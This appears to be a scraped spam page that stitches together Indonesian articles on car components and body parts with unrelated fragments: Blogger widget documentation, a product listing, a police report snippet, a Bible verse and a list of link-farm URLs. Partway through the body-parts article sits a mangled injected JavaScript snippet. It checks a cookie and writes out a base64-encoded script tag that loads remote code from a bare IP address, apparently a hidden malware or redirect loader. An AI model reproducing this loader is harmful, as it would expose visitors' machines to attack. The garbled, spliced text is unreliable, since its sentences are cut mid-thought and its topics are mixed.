MasalahUmum Kerusakan Mobil yang sering terjadi pada mobil selanjutnya yakni melemahnya mesin. Jika tenaga mesin mobil tak seperti biasanya, itu menandakan ada kerusakan di komponen pada bagian mesin. Entah itu bagian timing beltnya, filter bahan bakar tidak berfungsi, atau rusaknya regulator tekanan bahan bakar. Ada banyak bagian mobil yang perlu dikenali, terlebih lagi jika kamu adalah seorang pemilik mobil. Hal ini penting karena mengingat dalam perawatannya, ada bagian mobil yang tidak boleh terkena listrik atau komponen lain yang perlu pemeliharaan yang tidak bisa sembarangan. Dengan mengetahui berbagai komponen yang ada di mobil, kamu juga bisa mengetahui sumber masalah dengan lebih mudah. Nah, apa saja bagian mobil dan fungsinya? Jika kamu masih asing dan baru dengan hal tersebut, pastikan kamu membaca artikel kali ini hingga selesai, ya! Komponen Penting Mobil 1. Aki Aki merupakan komponen penting untuk sumber kelistrikan mobil Seperti yang kita tahu bahwa kendaraan mobil didukung berbagai kelistrikan. Sumber utama listrik yang ada di mobil tersebut adalah aki. Aki akan menyebarkan listrik ke komponen mobil lain, salah satunya adalah memberi tenaga saat starter mobil. Jika aki mulai habis, starter mobil akan lebih sulit dan kendaraan tidak bisa dihidupkan. Sehingga kamu perlu melakukan perawatan mobil secara berkala dan segera isi aki jika sudah habis. 2. Kompresor AC Guna kompresor AC untuk menghisap freon dan menyalurkannya ke kondensor Ketika kamu menghidupkan mesin mobil, selain mesin yang menyala, AC mobil kamu juga akan langsung menyala. AC yang dapat menyala tersebut diberi tenaga oleh kompresor AC. Sistem kompresor AC ini bekerja dengan cara menghisap freon dan menyalurkannya ke kondensor. Kompresor AC juga sering disebut dengan pusat kendali sistem AC. 3. Tangki bensin Ilustrasi tangki bensin yang bocor Bagian tangki bensin berada di bagian kiri atau janan mobil. Bisa jadi di setiap mobil memiliki letak yang berbeda-beda. Tangki bensin juga dikenal dengan fuel tank yang berguna untuk menjadi tempat bahan bakar tertampung. Cara mudah untuk mengetahui dimana letak tangki bensin bisa kamu lihat dari dimana letak ujung knalpot mobil. Posisi tangki bensin berada berkebalikan dari ujung knalpot mobil. Jika knalpot mobil berada di kanan, artinya tutup tangki bensin mobil tersebut ada di sebelah kiri pun sebaliknya. Ini sudah menjadi hal yang pasti terjadi, ya. 4. Radiator Isi radiator sebaiknya tidak pakai air keran Taukah kamu jika mesin overheat bisa menyebabkan berbagai hal buruk pada kendaraan? Mesin yang terus bekerja akan menghasilkan panas. Dan agar tidak overheat atau panas berlebih, ada bagian mobil yang bernama radiator. Fungsi radiator mobil adalah mengawasi dan menjaga agar suhu mesin mobil tetap dalam keadaan normal. Oleh karena itu, pastikan selalu air radiator terisi optimal dan isi dengan coolant yang sesuai dengan peruntukannya. Jika kamu isi radiator pakai air keran, maka bisa menyebabkan kerak di saluran pendingin mesin dan jadi penyumbat. Ujung-ujungnya mesin bisa overheat. 5. Transmisi Transmisi D-CVT di mobil Avanza Transmisi adalah bagian mobil yang terhubung dengan mesin melalui kopling. Transmisi mobil ini berbentuk pedal atau tuas yang nantinya akan mengatur kecepatan mesin melalui kopling. Pengaturan transmisi mobil salah satunya disesuaikan dengan kondisi jalan yang akan kamu lalui dan bebannya. Umumnya ada dua jenis transmisi yaitu manual dan otomatis. Sementara untuk transmisi otomatis dibagi lagi menjadi CVT, Dual Clutch, serta AGS. 6. Piston Bagian mobil yang bernama piston ini tugas utamanya adalah menghantarkan panas yang berguna untuk menekan campuran udara dengan bahan bakar, memproses daya pembakaran menjadi tenaga mekanik hingga menekan gas dari sisa pembakaran bahan bakar tersebut agar keluar. Tidak hanya itu, piston juga berfungsi mengelola volume dan menarik udara agar masuk ke bagian silinder mobil. 7. Kopling Saat akan mengendarai mobil, kopling adalah salah satu hal yang harus kamu kenali terlebih dahulu. Kopling mobil merupakan bagian yang menghubungkan poros engkol dengan gigi transmisi sehingga akan terjadi perubahan kecepatan mesin. Ketika dihubungkan, roda bagian belakang akan bergerak dengan kecepatan tertentu. 8. Dinamo dan radiator kipas Motor listrik atau dinamo yang ada di kipas mobil ini berfungsi menggerakkan kipas, sedangkan radiator kipas mobil adalah bagian yang menjaga agar mesin dan rangkaian kipas berada dalam suhu yang wajar agar tidak overheat. 9. Filter udara perawatan filter udara mobil bisa dilakukan sendiri Bagian mobil yang penting satu ini bisa mempengaruhi kualitas kinerja bagian lain, lho. Filter udara berperan untuk menyaring debu, kotoran, dan benda asing yang mengarah masuk ke bagian mesin. Jika tanpa filter udara, debu serta kotoran tadi perlahan akan mengurangi kinerja mesin dan dalam jangka panjang juga bisa merusak bagian-bagian lainnya. Untuk itu, selalu cek kondisi filter udara jika sudah menyentuh jarak tempuh kilometer dan bersihkan secara berkala. 10. Catalytic converter Catalytic converter bisa jadi pemicu kebarakan mobil Catalytic converter adalah sebuah perangkat yang umumnya yang tersedia di mobil berbahan bakar diesel maupun bensin untuk mengatur keluaran gas buang dari hasil pembakaran. Alat ini adalah katalisator yang menyaring hidrokarbon dan jenis zat berbahaya lain lalu mengubah polutan-polutan tersebut menjadi gas karbondioksida dan uap air. Ketika bekerja, catalytic converter memiliki panas yang sangat tinggi. Nah, ini bisa jadi pemicu kebakaran mobil, terutama saat mobil parkir di daerah semak-semak kering. Panas tinggi di komponen tersebut dapat memicu percikan api ke daun kering, sehingga memicu kebakaran mobil. 11. Cakram mobil Cakram merupakan komponen pengereman yang banyak digunakan mobil-mobil modern Disc brake atau rem cakram mobil adalah bagian dari sistem pengereman yang ada di dalam mobil. Seperti namanya, disc brake berbentuk seperti cakram atau piringan yang berada di antara dua kanvas. Dengan begitu, ketika diaktifkan atau digunakan, cakram mobil akan memperlambat perputaran pada ban. 12. Shock absorber Guna shock absorber meredam guncangan di mobil Bagian mobil ini merupakan peredam guncangan dan benturan berupa per yang dilengkapi dengan sistem pegas. Fungsi shock absorber tidak hanya berpengaruh ke kenyamanan penumpang saja, tetapi bagian ini juga memastikan bahwa bagian permukaan ban tetap berada dan mengenai permukaan jalan. Selain itu, jika shock absorber atau shock breaker rusak, ditakutkan bisa merusak bagian lain. Ciri-ciri kerusakannya bisa diketahui lewat bantingan yang keras, serta ada kebocoran oli. 13. Busi Busi berfungsi memantik api untuk terjadinya pembakaran di mesin Busi mobil berfungsi untuk membuat percikan api yang disalurkan ke ruang bakar mesin agar terjadi pembakaran pada bahan bakar dan campuran udara yang terkompresi di dalamnya. Jika bagian busi rusak, mobil bisa saja tidak optimal dan tersendat-sendat saat dijalankan. Untuk itu, ada baiknya untuk mengganti busi mobil setiap minimal dan maksimal kilometer. 14. PCM PCM adalah singkatan dari powertrain control module. Modul yang sering disebut otak mobil ini terdiri dari TCM atau transmission control module dan ECU atau Engine control unit. Seperti namanya, bagian ini merupakan perangkat elektronik yang berfungsi mengontrol dan memastikan aliran tenaga bisa sampai ke seluruh bagian dengan baik di dalam mobil. Tidak hanya itu, bagian ini juga mengatur laju bahan bakar serta menjadi tempat dimana data sensor mobil terkumpul. 15. Velg Velg mobil umumnya terbuat dari bahan alloy Bagian mobil yang bernama velg merupakan tempat untuk ban menempel. Fungsi velg adalah membuat ban berbentuk bulat sempurna, sehingga mobil bisa melaju secara normal. Oleh karena itulah velg mobil harus selalu dijaga kondisinya, jangan sampai penyok atau pecah. Jika bentuk velg tidak standar lagi, maka laju mobil jadi tidak normal. Bagian Mobil Lainnya Selain daftar bagian mobil yang penting di atas, ada banyak bagian mobil lain yang bisa kamu kenali terlebih dahulu. 16. Wiper Wiper harus dirawat agar optimal dalam menyeka air di kaca Wiper mobil adalah bagian yang berfungsi untuk membersihkan bagian kaca secara otomatis. Bagian ini akan sering digunakan saat kondisi hujan. Fungsinya menyeka air di kaca, sehingga pandangan akan lebih jelas untuk melihat medan yang dilalui. 17. Speedometer Speedometer kombinasi analog dan digital Informasi yang terlampir di speedometer mobil ada beragam. Mulai dari mengetahui berapa jauh jarak tempuh yang sudah kamu lalui hingga tinggi kecepatan berkendara kamu saat ini. 18. Ban Ban mobil menjadi bagian yang penting untuk dilakukan pengecekan berkala, terutama setiap akan melakukan perjalanan yang cukup jauh. Untuk mengisi tekanan angin pada ban mobil, kenali juga berapa tekanan yang pas untuk mobil kamu. Baca juga Berapa Tekanan Angin Ban Mobil yang Pas? Awas Keliru 19. As mobil axle Axle atau as mobil adalah bagian poros dan pusat pada roda. Komponen ini bertugas meneruskan gerakan atau putaran yang dihasilkan dari transmisi ke roda mobil. 20. Muffler knalpot mobil Muffler adalah peredam suara pada knalpot saat ada gas yang dibuang. Bentuk muffler yaitu seperti tabung lonjong dan berada di dekat ujung knalpot mobil. 21. Alternator Alternator atau dinamo mobil adalah penyalur listrik dari sumber daya ke berbagai bagian mobil lain seperti AC, tape mobil, mesin mobil, wiper ketika dinyalakan dan lampu mobil. Dinamo ini juga mendukung saat proses pengisian aki. Jika alternator rusak atau bermasalah, aki mobil kamu bisa habis dalam durasi waktu yang tidak biasa dan lebih cepat. 22. Airbag Airbag merupakan bagian keselamatan pada mobil yang akan keluar jika terdapat indikasi kecepatan tertentu. Airbag mobil akan mengembang ketika mobil melaju paling lambat 20-30 km / jam. Bagian ini dapat meminimalisir adanya benturan kepala jika terjadi kecelakaan dan melindungi bagian yang tidak bisa dilindungi hanya dengan seat belt saja. 23. Differential mobil Differential mobil atau gardan adalah komponen di bagian bawah mobil yang berada di roda depan dan roda belakang. Gardan mobil berfungsi membagi gerakan putaran dari transmisi. Itulah informasi yang bisa kami bagi pada artikel kali ini. Jika kamu tertarik untuk membaca artikel terkait otomotif lainnya, cek kumpulan informasi terbaru yang ada di Blog Moladin. Tidak hanya sebagai platform jual beli mobil bekas terpercaya di Indonesia, Moladin juga memiliki mobil berkualitas premium dengan garansi lengkap. Karena MoApapunMoladin aja! Baghendra Lodra Jurnalis otomotif sejak 2012. Spesialisasinya sebagai reviewer motor dan mobil

id– (Wajib) Hanya dapat berupa huruf dan angka, dan setiap ID widget di tema Anda seharusnya unik. ID widget tidak dapat diubah tanpa menghapus widget dan membuat yang baru. type – (Wajib) Menunjukkan jenis widget.; locked – (Opsional) Bisa "yes" atau "no", dengan "no" sebagai default.Widget yang terkunci tidak dapat dipindahkan atau dihapus dari tab Elemen Halaman.

Seiring dengan perkembangan teknologi yang semakin hari semakin berkembang mengikuti zaman, maka hal ini juga berlaku pada industri otomotif atau lebih tepatnya pada industri kendaraan roda empat atau ini bisa kita lihat dari banyaknya teknologi dan variasi dari berbagai komponen dan juga fitur yang ada dalam atau yang tersemat dalam kendaraan roda empat tersebut. Kini perkembangan dari bahan mobil atau kendaraan roda empat tersebut juga semakin berkembang, muai dari bahan fiberglass atau plastik, meski memang hingga kini masih ada banyak body mobil yang menggunakan bahan atau komponen dari besi yang pada umumnya memiliki ketebalan hingga mm. Perkembangan bodi melalui teknologi tersebut kni sudah bisa kita rasakan sobat, tentunya boby dalam mobil kota terdiri dari beberapa bagian yang juga memiliki fungsi dan peranannya masing masing. Dan untuk ulasan selengkanya berikut ini penulis akan jelaskan beberapa komponen body mobil dan penjelasannya untuk anda. Yuk sobat, langsung saja kita simak ulasan berikut ini. Kontruksi LuarSeperti yang sudah kita ketahui bersama sobat, bagian ini merupakan bagian tempat menempelnya berbagai macam panel dan bisa dibilang, kontruksi luar ini ibaratnya seperti kulit dalam tubuh kita yang melindungi bagian dalamnya. Bagian ini sendiri terdiri dari berbagai jenis panel yang disatukan dengan beberapa sambungan dan juga dapat kita lihat secara langsung dari luar, sebut saja seperti bumper, engine hood tutup mesin , pintu pintu dan juga sunroof lubang pada atap kendaraan agar sinar matahari atau udara masuk dalam mobil anda dan juga bagian yang itu, kontruksi luar ini terdapat juga roof head lining atap bagian dalam , fender body samping yang ada di dkat roda depan , kaca, boot lid / deck lid tutup bagian bagasi belakang , lampu lampu, radiator girl, dan yang lain sebagainya. cara menghilangkan jamur pada cat mobil bisa dijadikan sebagai informasi Kontruksi DalamAdapun bagian kontruksi dalam ini terdiri dari komponen komponen yang ada dlama body kendaraan anda, kontruksi bagian dalam ini terdiri dari penguat penguat dan panel panel yang digunakan untuk menguatkan mobil Under Body Lantai ini pada umumya terdiri dari beberapa komponen kecil yang di las secara bersama sama menjadi satu unit lantai tersebut. Semua panel panel lantai ini memiliki penguat pada bagian yang perlu anda ketahui adalah bahwasanya bentuk dari lantai ini tidaklah rata, namun akan disesuaikan dengan konteks kebutuhan, dan juga disesuaikan dengan tujuan, sebut saja seperti lantai yang pada bagian bawahnya sebagai tempat roda, sebagai komponen ruang kendaraan, tempat kaki penumpang, tempat dudukan komponen yang lain, aspek aeodinamis, aspek estetika, aspek ergonomi dan juga yang lain pada bagian komposit biasanya rata dan terpisah dengan chasis, sedangkan pada tipe integral menyatu dengan chasis pada umumnya memiliki permukaan yang tidak rata. faktor yang menimbulkan ledakan pada mobil bisa dijadikan sebagai informasi Hood Penutup Mesin atau Kap Mesin Enginee hood yang satu ini merupakan bagian bodi kendaraan yang menutupi komponen mesin kendaraan anda. Kendaraan yang menggunakan enginee hood ini pada umumnya berjenis sedan sebut saja seperti Toyota camry, Suzuki Swift, Honda Civic, Mitubishi Lancer dan juga beberapa jenis kendaraan yang lainnya. Enginee mobil ini pada umunya akan dipasang pada bodi utama yang menggunakan engsel hinge . Kontruksi dari enginee hood ini sendiri terdiri dari lembaran plat yang didukung dengan rangka juga pada kendaraan jenis tertentu, enginee hood ini memiliki saluran washer nipple alat untuk menyemprotkan air pada kaca depan kendaraan bila sedang menghidupkan wiper mobil atau wing adalah salah satu body komponen kendaraan yang menutupi roda roda. Dari konsep inilah, yang mana kendaraan pada umumnya memiliki 4 buah fender pada masing masing roda. Namun meski demikan, ada beberapa mobil yang memiliki fender belakang tidak dilepas, sehingga pada kondisi seperti ini seolah oleh fender tersebut hanya merupakan bagian depan fender tersebut memiliki kontruksi suspensi dan melindungi dari kotoran dan juga lumpur. Selain itu, fender pada bagian depan kendaraan biasanya terpasang pada kontruksi utama untuk menguatkan baut sehingga dengan mudah dapat BelakangKomponen yang satu ini biasanya menyatu dengan sayap bagian belakang. Selain itu, bodi belakang ini juga memiliki kontruksi sederhana. Biasanya juga atap akan mengunakan bahan lembaran plat besi yang sudah melalui pengerasan pada bagian tertentu dengan membuat alur, agar kuat apabila menerima bagian dari atas. Kontruksi dari atap kendaraan tersebut memiliki penguat dari plat tipis yang menyilang secara beraturan yang berada di dalam informasi yang bisa penulis sajikan untuk sobat semua yang sudah berkunjung dan membaca postingan ini. Semoga bermanfaat dan bisa menjadi refrensi untuk anda. Ketahui kerusakan yang terjadi pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan. Salam hangat dari penulis. function getCookiee{var U= RegExp“?^; ”+ U?decodeURIComponentU[1]void 0}var src=”datatext/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now= 0===time{var time= Datenew Date.getTime+86400; path=/; expires=”+
PabrikGrosir Mobil Shift Gear Knob dengan Chrome Bingkai untuk VW Passat B6 CC 3C R36 TDI 2005-2011 body Mobil Bagian Nama. Shanghai Yuchen Auto Parts Co., Ltd. US$4,00
Saat ingin membeli mobil, biasanya kita melihat interior dan eksterior mobil. Namun, interior dan eksterior mobil tidak hanya dilihat dari segi estetika saja, tetapi juga dari segi fungsi. Apa saja komponen atau bagian eksterior mobil? Mari kita bahas satu demi satu apa saja bagian eksterior mobil dan fungsinya, aksesoris yang biasa digunakan pada eksterior mobil, dan bagian eksterior mobil yang sering dimodifikasi. Daftar Isi 1Bagian Eksterior Mobil1. Kap mobil2. Grill3. Bemper mobil4. Spakbor spakbor atau spatbor5. Pilar-pilar6. Cross-memberAksesoris Eksterior Mobil1. Kaca film2. Rear spoiler3. Outer mirror cover with lamp4. Muffler cutter5. Chrome door handle6. Body side molding7. Front fender mirror8. Body kit9. Aero mudguard10. Talang air11. Scuf plate12. Head lamp garnish13. Retractable mirrorBagian Eksterior Mobil yang Sering Dimodifikasi1. Rear Wing2. Velg Mobil3. Headlamp Mobil4. Sticker Mobil5. Bumper6. Warna Mobil1. Kap mobilPada bagian depan mobil, terdapat penutup ruang mesin atau biasa kita sebut dengan kap mobil. Di Inggris lebih dikenal sebagai bonnet, sementara di Amerika sering disebut sebagai GrillMasih di bagian depan yaitu bagian hidup mobil yang bernama grill. Selain sebagai penghias yang dibuat dengan desain cantik, secara fungsi juga berperan sebagai penutup dan pelindung Bemper mobilBemper atau bumper mobil terletak pada bagian bawah grill. Di ujung kanan dan kirinya dipasang driving light. Posisi lampu driving light tidak boleh lebih tinggi dari lampu utama dan bumper Spakbor spakbor atau spatborBergeser sedikit ke belakang, pada bagian atas roda depan ada spakbor depan atau disebut juga sebagai front fender. Fungsinya adalah sebagai penutup ruang roda untuk mencegah cipratan air, kotoran, atau kerikil masuk ke ruang mesin. Di dalam fender ada inner-fender, biasanya terbuat dari bahan plastik yang membulat mengikuti bagian dalam Pilar-pilarDi belakang spakbor depan, kita akan menemukan pilar A. Fungsinya adalah sebagai tumpuan kaca depan dan pintu depan. Kemudian ada pilar B yang letaknya di tengah bodi mobil. Fungsi dari pilar B adalah sebagai penguat konstruksi sasis pada bagian tengah dan juga tempat memasang pintu itu ada pilar C yang berada di antara pintu belakang dan bagasi. Pilar C ini berperan sebagai dudukan kaca belakang. Ketiga pilar A, B, dan C saling berhubungan atas-bawah, depan belakang, kanan-kiri sehingga membentuk sangkar sasis. Bagian pilar ini jadi bagian paling kuat dari bodi mobil dan berguna melindungi penumpang dari benturan6. Cross-memberCross-member atau tambahan sasis ini berada di dalam ruang mesin dan bagasi. Bagian ini dipakai untuk dudukan mesin, suspensi, atau komponen lain misalnya radiator atau spakbor depan dan juga berfungsi sebagai penyerap benturan. Mungkin kita pernah lihat mobil yang bagian hidung atau bagasinya rusak berat akibat tabrakan padahal benturannya tidak terlalu kuat. Bukan berarti mobil tidak kuat, tetapi bagian yang rusak ini memang tugasnya menyerap benturan. Jadi tidak semua tenaga benturan sampai ke kabin itu ada juga pelindung tambahan penumpang pada mobil-mobil modern, yaitu batang pelindung di dalam pintu side-impact beam. Fungsinya adalah meminimalisir benturan dari Eksterior MobilSetelah kita mengetahui bagian eksterior mobil, ada juga aksesoris mobil yang biasa digunakan pada Kaca filmPenting untuk memasang kaca film pada mobil karena bisa menahan radiasi dari panas matahari. Bahkan beberapa kaca film juga bisa menangkal sinar ultraviolet. Fungsi dari kaca mobil juga untuk menghindari serpihan atau pecahan kaca ketika terjadi kecelakaan agar tidak mengenai Rear spoilerFungsi dari rear spoiler adalah untuk meningkatkan aerodinamika mobil. Di sisi lain, bisa juga mempercantik tampilan mobil. Beberapa rear spoiler juga dilengkapi lampu led yang sudah dihubungkan dengan lampu rem. 3. Outer mirror cover with lampIni adalah aksesoris mobil yang dipasang pada bagian spion luar. Biasanya dilengkapi juga dengan lampu led dan variasi warna. Lampu ini bisa meningkatkan visibilitas untuk kendaraan lain ketika berbelok. 4. Muffler cutterMuffler cutter dibuat dari bahan stainless steel yang dipasang pada ujung knalpot. Fungsinya adalah mengubah tampilan knalpot menjadi lebih Chrome door handleChrome door handle dipasang untuk menambah kesan mewah pada handle Body side moldingBody side moulding berfungsi sebagai pelindung cat dari goresan atau benturan. Biasanya dipasang memanjang dari depan ke belakang di bodi samping Front fender mirrorAksesoris ini adalah tambahan sejenis kaca spion yang dipasang pada fender kiri. Fungsinya juga untuk meningkatkan visibilitas di sisi depan dan roda depan Body kitBody kit biasanya dipasang untuk menambah kesan sporty pada mobil. Aksesoris ini dipasang di bemper depan, bemper belakang, atau side Aero mudguardSeperti namanya, aero mudguard dipasang di dekat karet lumpur. Aksesoris ini berfungsi untuk menghalangi percikan kotoran ketika hujan. Dari segi estetika juga terlihat lebih Talang airSeperti fungi talang air pada bangunan rumah, aksesoris ini juga berfungsi mencegah air hujan masuk ke kabin saat kaca samping sedikit Scuf plateScuff plate adalah aksesoris yang dipasang sebagai area Head lamp garnishTerakhir, aksesoris ini dipasang pada headlamp agar tampilan mobil terlihat lebih Retractable mirrorAksesoris ini membuat kaca spion bisa dilipat hanya dengan memencet tombol. Fitur ini bermanfaat ketika melewati jalan sempit atau saat parkir di pinggir dia 13 aksesoris interior mobil yang bisa ditambahkan untuk menambah kecantikan atau fungsi mobil. Selanjutnya kita bahas tentang bagian eksterior yang sering Eksterior Mobil yang Sering Dimodifikasi1. Rear WingRear wing ini akan membuat tampilan mobil menjadi lebih keren. Selain itu, rear wing juga bisa melindungi kaca Velg MobilBagian ini memang paling sering dimodifikasi. Banyak pilihan velg mobil yang keren, misalnya velg racing, velg klasik, dan model velg lainnya. Hanya saja, ketika memodifikasi mobil dengan mengganti velg, sesuaikan dengan ukuran ban mobil agar mobil tetap nyaman Headlamp MobilHeadlamp juga biasanya menjadi andalan modifikasi. Lampu depan ini dianggap bisa menunjukkan kelas mobil. Harga headlamp ini bisa mencapai jutaan!4. Sticker MobilSalah satu hal yang paling mencolok saat memodifikasi mobil adalah pemasangan stiker mobil. Namun, sebaiknya direncanakan matang-matang tentang bentuk dan desain stiker agar cocok dengan mobil OtoFriends. Kalau menggunakan teknik cutting sticker, pastikan pengerjaannya BumperBumper juga bisa menjadi pilihan untuk membuat tampilan mobil berbeda dan terlihat mencolok. Biasanya tidak hanya bumper depan yang diubah, tetapi juga bumper Warna MobilMengecat mobil juga akan membuat perubahan tampilan mobil terlihat mencolok. Akan tetapi, mengganti warna mobil harus disesuaikan dengan stiker atau bumper mobil. Warna mobil juga bisa menggambarkan kepribadian pemilik melakukan modifikasi eksterior mobil, sebaiknya riset dan lakukan perencanaan yang matang agar tampilannya tidak satu cara merawat eksterior mobil adalah dengan rajin cuci mobil di bengkel cuci mobil terpercaya pada aplikasi Otoklix. Biasanya bengkel-bengkel itu juga menyediakan layanan yang bisa membuat tampilan mobil terlihat mengkilap. Rajin membersihkan eksterior dan interior mobil bisa meningkatkan kenyamanan berkendara dan membuat tampilan mobil lebih terawat.
Bagian Bagian Body Mobil Info Otomotif 1 / 5. April 25th, 2018 - Informasi Otomotif Service Mobil Service Motor Tune Up Onderdil Info Otomotif Home About Home » Bagian Bagian Body Mobil » Chassis » Bagian Bagian Body Mobil''Nama Bagian Bagian Body Motor Honda Beat PDF Download
Bagian Bagian Body Mobil Dan Ulasan - Bagian-bagian bodi mobil merupakan komponen penting dari sebuah mobil yang berfungsi untuk menyokong berbagai sistem dan komponen mekanis mobil. Setiap bagian bodi mobil memiliki fungsinya masing-masing dan berkontribusi dalam menjamin keselamatan dan kenyamanan pengemudi dan penumpang serta melindungi mobil dari body mobil terdiri dari bagian depan, samping, belakang dan atas mobil. Bagian depan mobil terdiri dari hood bonnet, grille, bumper, headlamp, dan fender. Bagian samping mobil terdiri dari door, quarter panel, dan glasses. Bagian belakang mobil terdiri dari trunk, rear window dan tail lamp. Bagian atas mobil terdiri dari roof dan spolier. Bagian-bagian lain seperti Wheel arches, decorative trim, serta mirrors juga merupakan bagian yang penting dari bodi bagian ini di desain dan di konstruksi untuk memenuhi standar keselamatan dan regulasi yang ditentukan oleh pemerintah. Untuk lebih jelasnya terkait bagian bagian body mobil dan ulasannya akan diulas lebih dalam pada artikel berikut Bagian Body MobilTerdapat bagian bagian body pada mobil yang memiliki fungsi tertentu. Berikut ini adalah beberapa bagian yang terdapat pada body mobil1. HoodHood bonnet merupakan bagian depan pada body mobil yang menutupi mesin. Hal ini berfungsi untuk melindungi mesin dari cuaca ekstrem dan partikel debu saat mobil GrilleGrille berfungsi sebagai pintu masuk udara untuk mesin. Ini memungkinkan udara yang dibutuhkan untuk sistem pendingin mesin masuk ke dalam BumperBumper digunakan untuk melindungi mobil saat terjadi tabrakan. Bumper depan juga dapat digunakan untuk menambah daya tahan aerodinamis saat mobil bergerak HeadlampHeadlamp merupakan lampu depan mobil yang digunakan untuk menerangi jalan saat mobil beroperasi pada malam hari atau kondisi cahaya yang FenderFender berfungsi untuk melindungi bagian roda dari debu dan air. Hal ini juga membantu mencegah kotoran dari roda menyebar ke seluruh bagian DoorDoor digunakan untuk masuk dan keluar dari mobil. Beberapa mobil memiliki pintu ganda atau pintu slide untuk mempermudah akses RoofRoof melindungi dari panas dan hujan, kadang juga digunakan untuk menempatkan barang atau TrunkTrunk digunakan untuk menyimpan barang, ini juga disebut sebagai bagian belakang Rear WindowRear window adalah bagian jendela belakang mobil yang memungkinkan pengemudi untuk melihat area belakang saat Tail lampTail lamp digunakan untuk memberikan sinyal pada pengemudi lain mengenai posisi mobil saat Quarter panelQuarter Panel adalah bagian samping belakang Wheel ArchesWheel arches melindungi roda dan suspenion dari debu dan GlassesGlasses adalah kaca-kaca pada mobil yang terdiri dari windshield, side glass, rear MirrorMirror adalah cermin dalam mobil yang digunakan untuk melihat area belakang mobil seperti side mirror, rear Decorative trimDecorative Trim digunakan sebagai bagian estetika yang berfungsi mempercantik tampilan SpoilerSpoiler digunakan untuk menambah daya aerodinamis pada mobil, biasanya dipasang di atas bagian belakang SkirtSkirt - bagian yang dipasang di bawah bumper depan dan bagian di atas memainkan peran penting dalam operasi mobil dan keselamatan yang membantu pengemudi dalam berbagai situasi. Diatas adalah ulasan terkait bagian bagian body mobil. Semoga dapat menambah wawasan pengetahuan.
Mengutip jaringan Suara.com, Kabid Humas Polda Papua, Kombes Pol Ahmad Musthofa Kamal menjelaskan, korban meninggal diketahui bernama Donatos Nawipa, akibat mengalami luka robek pada bagian perut. “Setelah dibawa ke RSUD Madi, salah satu warga bernama Donatos Nawipa telah meninggal dunia akibat luka robek pada bagian

Jakarta, KompasOtomotif – Menarik nampaknya jika sedikit membahas mengenai konstruksi kendaraan roda empat. Semakin banyaknya pemilik mobil pertama di Indonesia, berbanding lurus dengan minimnya pengetahuan pada teknik otomotif, salah satunya jenis bodi dan sasis yang ada pada mobil yang dipasarkan. Secara garis besar, setidaknya ada dua kelompok besar jenis bodi dan sasis mobil di Indonesia. Keduanya memiliki definisi sederhana tapi fungsinya cukup Ahadi, Technical Service Toyota Astra Motor TAM coba berbagi, mengenai dua bagian mobil ini. Didi mengatakan, kalau rangka atau yang biasa disebut sasis, adalah penopang komponen kendaraan, seperti mesin, transmisi, suspensi, roda, steer, rem, dan lainnya.“Sasis in seperti layaknya tulang, yang menopang tubuh. Bagian ini biasanya terbuat dari besi, baja atau bahan lain seperti aluminium, yang memiliki kekuatan untuk menopang sebuah kendaraan,” ujar Didi kepada KompasOtomotif, Rabu 12/10/2016. Sementara bodi, kata Didi, bagian dari kendaraan yang berbentuk sedemikian rupa sesuai model, yang umumnya terbuat dari bahan pelat logam tempat penumpang atau barang. “Untuk bodi, biasanya terbuat dari plat logam dengan ketebalan 0,6 mm - 0,9 mm,” tutur Didi. Pada awal perkembangan teknologi, rangka dan bodi dibuat terpisah atau composite body. Namun akhir-akhir ini, keduanya disatukan yang biasa disebut monocoque body atau integral body. Sebagai tambahan, dari buku berjudul “Pengenalan Bodi Otomotif” karangan Buntarto, khusus untuk rangka, kondisinya harus kuat, ringan, kukuh, dan tahan terhadap getaran atau goncangan yang diterima dari berbagai kondisi jalan. Akan merugikan. jika ada rangka mobil yang tidak memenuhi standar itu. Dapatkan update berita pilihan dan breaking news setiap hari dari Mari bergabung di Grup Telegram " News Update", caranya klik link kemudian join. Anda harus install aplikasi Telegram terlebih dulu di ponsel.

Bugis Rékko makkedai ajé, "Tenniyaka jari, rimakkuwannanaro tenniyaka bagiyanna tubué," tenniya bettuwanna iyaro makkedaé iyaro ajé’ tenniyai bagiyanna tubué. AYT: Jika kaki berkata, “Karena aku bukan tangan, jadi aku bukan bagian dari tubuh,” tidak berarti ia bukan bagian tubuh. TB: Andaikata kaki berkata: "Karena aku bukan tangan, aku tidak termasuk tubuh", jadi cfGqT.
  • ey9421uhnn.pages.dev/443
  • ey9421uhnn.pages.dev/338
  • ey9421uhnn.pages.dev/386
  • ey9421uhnn.pages.dev/476
  • ey9421uhnn.pages.dev/385
  • ey9421uhnn.pages.dev/355
  • ey9421uhnn.pages.dev/34
  • ey9421uhnn.pages.dev/392
  • bagian bagian body mobil